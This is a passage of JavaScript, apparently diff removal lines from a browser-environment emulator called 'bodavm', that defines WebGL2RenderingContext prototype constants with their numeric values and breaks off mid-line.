-bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35051},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35052},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35053},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", {configurable:false, enumerable:true, writable:false, value:35685},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", {configurable:false, enumerable:true, writable:false, value:35686},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", {configurable:false, enumerable:true, writable:false, value:35687},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", {configurable:false, enumerable:true, writable:false, value:35688},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", {configurable:false, enumerable:true, writable:false, value:35689},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", {configurable:false, enumerable:true, writable:false, value:35690},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", {configurable:false, enumerable:true, writable:false, value:35904},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", {configurable:false, enumerable:true, writable:false, value:35905},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", {configurable:false, enumerable:true, writable:false, value:35907},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34894},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", {configurable:false, enumerable:true, writable:false, value:34836},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", {configurable:false, enumerable:true, writable:false, value:34837},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", {configurable:false, enumerable:true, writable:false, value:34842},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", {configurable:false, enumerable:true, writable:false, value:34843},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", {configurable:false, enumerable:true, writable:false, value:35069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", {configurable:false, enumerable:true, writable:false, value:35071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35077},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35659},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35866},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35869},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", {configurable:false, enumerable:true, writable:false, value:35898},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", {configurable:false, enumerable:true, writable:false, value:35899},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", {configurable:false, enumerable:true, writable:false, value:35901},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", {configurable:false, enumerable:true, writable:false, value:35902},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", {configurable:false, enumerable:true, writable:false, value:35967},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", {configurable:false, enumerable:true, writable:false, value:35971},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35972},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35973},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", {configurable:false, enumerable:true, writable:false, value:35976},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", {configurable:false, enumerable:true, writable:false, value:35977},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35978},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35979},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35980},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35981},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35982},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35983},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", {configurable:false, enumerable:true, writable:false, value:36208},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", {configurable:false, enumerable:true, writable:false, value:36209},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", {configurable:false, enumerable:true, writable:false, value:36214},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", {configurable:false, enumerable:true, writable:false, value:36215},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", {configurable:false, enumerable:true, writable:false, value:36220},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", {configurable:false, enumerable:true, writable:false, value:36221},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", {configurable:false, enumerable:true, writable:false, value:36226},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", {configurable:false, enumerable:true, writable:false, value:36227},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", {configurable:false, enumerable:true, writable:false, value:36232},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", {configurable:false, enumerable:true, writable:false, value:36233},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", {configurable:false, enumerable:true, writable:false, value:36238},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", {configurable:false, enumerable:true, writable:false, value:36239},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", {configurable:false, enumerable:true, writable:false, value:36244},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", {configurable:false, enumerable:true, writable:false, value:36248},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", {configurable:false, enumerable:true, writable:false, value:36249},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36289},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", {configurable:false, enumerable:true, writable:false, value:36292},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", {configurable:false, enumerable:true, writable:false, value:36293},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", {configurable:false, enumerable:true, writable:false, value:36294},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", {configurable:false, enumerable:true, writable:false, value:36295},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", {configurable:false, enumerable:true, writable:false, value:36296},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36298},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36299},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36300},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36303},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36306},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36307},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36308},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36311},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", {configurable:false, enumerable:true, writable:false, value:36012},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", {configurable:false, enumerable:true, writable:false, value:36013},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", {configurable:false, enumerable:true, writable:false, value:36269},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", {configurable:false, enumerable:true, writable:false, value:33296},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", {configurable:false, enumerable:true, writable:false, value:33297},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:33298},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:33299},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:33300},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:33301},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:33302},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:33303},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", {configurable:false, enumerable:true, writable:false, value:33304},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", {configurable:false, enumerable:true, writable:false, value:34042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", {configurable:false, enumerable:true, writable:false, value:35056},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:35863},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36008},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36009},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36010},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36011},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", {configurable:false, enumerable:true, writable:false, value:36052},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", {configurable:false, enumerable:true, writable:false, value:36063},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", {configurable:false, enumerable:true, writable:false, value:36065},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", {configurable:false, enumerable:true, writable:false, value:36066},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", {configurable:false, enumerable:true, writable:false, value:36067},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", {configurable:false, enumerable:true, writable:false, value:36068},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", {configurable:false, enumerable:true, writable:false, value:36069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", {configurable:false, enumerable:true, writable:false, value:36070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", {configurable:false, enumerable:true, writable:false, value:36071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", {configurable:false, enumerable:true, writable:false, value:36072},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", {configurable:false, enumerable:true, writable:false, value:36073},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", {configurable:false, enumerable:true, writable:false, value:36074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", {configurable:false, enumerable:true, writable:false, value:36075},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", {configurable:false, enumerable:true, writable:false, value:36076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", {configurable:false, enumerable:true, writable:false, value:36077},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", {configurable:false, enumerable:true, writable:false, value:36078},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", {configurable:false, enumerable:true, writable:false, value:36079},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", {configurable:false, enumerable:true, writable:false, value:36182},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36183},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", {configurable:false, enumerable:true, writable:false, value:5131},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", {configurable:false, enumerable:true, writable:false, value:33319},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", {configurable:false, enumerable:true, writable:false, value:33320},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", {configurable:false, enumerable:true, writable:false, value:33321},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", {configurable:false, enumerable:true, writable:false, value:33323},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", {configurable:false, enumerable:true, writable:false, value:33325},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", {configurable:false, enumerable:true, writable:false, value:33326},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", {configurable:false, enumerable:true, writable:false, value:33327},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", {configurable:false, enumerable:true, writable:false, value:33328},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", {configurable:false, enumerable:true, writable:false, value:33329},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", {configurable:false, enumerable:true, writable:false, value:33330},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", {configurable:false, enumerable:true, writable:false, value:33331},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", {configurable:false, enumerable:true, writable:false, value:33332},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", {configurable:false, enumerable:true, writable:false, value:33333},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", {configurable:false, enumerable:true, writable:false, value:33334},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", {configurable:false, enumerable:true, writable:false, value:33335},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", {configurable:false, enumerable:true, writable:false, value:33336},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", {configurable:false, enumerable:true, writable:false, value:33337},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", {configurable:false, enumerable:true, writable:false, value:33338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", {configurable:false, enumerable:true, writable:false, value:33339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", {configurable:false, enumerable:true, writable:false, value:33340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", {configurable:false, enumerable:true, writable:false, value:34229},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", {configurable:false, enumerable:true, writable:false, value:36756},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", {configurable:false, enumerable:true, writable:false, value:36757},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", {configurable:false, enumerable:true, writable:false, value:36758},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", {configurable:false, enumerable:true, writable:false, value:36759},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:36764},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:36662},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", {configurable:false, enumerable:true, writable:false, value:36663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36662},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", {configurable:false, enumerable:true, writable:false, value:35345},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35368},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35369},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35370},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35371},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35373},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35374},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", {configurable:false, enumerable:true, writable:false, value:35375},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", {configurable:false, enumerable:true, writable:false, value:35376},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35377},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35379},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:35380},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35382},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", {configurable:false, enumerable:true, writable:false, value:35383},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", {configurable:false, enumerable:true, writable:false, value:35384},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", {configurable:false, enumerable:true, writable:false, value:35386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", {configurable:false, enumerable:true, writable:false, value:35387},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:35388},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", {configurable:false, enumerable:true, writable:false, value:35389},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", {configurable:false, enumerable:true, writable:false, value:35390},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", {configurable:false, enumerable:true, writable:false, value:35391},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", {configurable:false, enumerable:true, writable:false, value:35392},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35394},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", {configurable:false, enumerable:true, writable:false, value:35395},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35396},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35398},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", {configurable:false, enumerable:true, writable:false, value:4294967295},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37154},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37157},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", {configurable:false, enumerable:true, writable:false, value:37137},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:37138},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", {configurable:false, enumerable:true, writable:false, value:37139},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", {configurable:false, enumerable:true, writable:false, value:37140},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", {configurable:false, enumerable:true, writable:false, value:37141},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", {configurable:false, enumerable:true, writable:false, value:37142},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", {configurable:false, enumerable:true, writable:false, value:37143},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", {configurable:false, enumerable:true, writable:false, value:37144},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", {configurable:false, enumerable:true, writable:false, value:37145},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", {configurable:false, enumerable:true, writable:false, value:37146},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", {configurable:false, enumerable:true, writable:false, value:37147},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", {configurable:false, enumerable:true, writable:false, value:37148},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", {configurable:false, enumerable:true, writable:false, value:37149},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", {configurable:false, enumerable:true, writable:false, value:35070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", {configurable:false, enumerable:true, writable:false, value:35887},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", {configurable:false, enumerable:true, writable:false, value:36202},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", {configurable:false, enumerable:true, writable:false, value:35097},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", {configurable:false, enumerable:true, writable:false, value:36975},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:36255},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", {configurable:false, enumerable:true, writable:false, value:36386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", 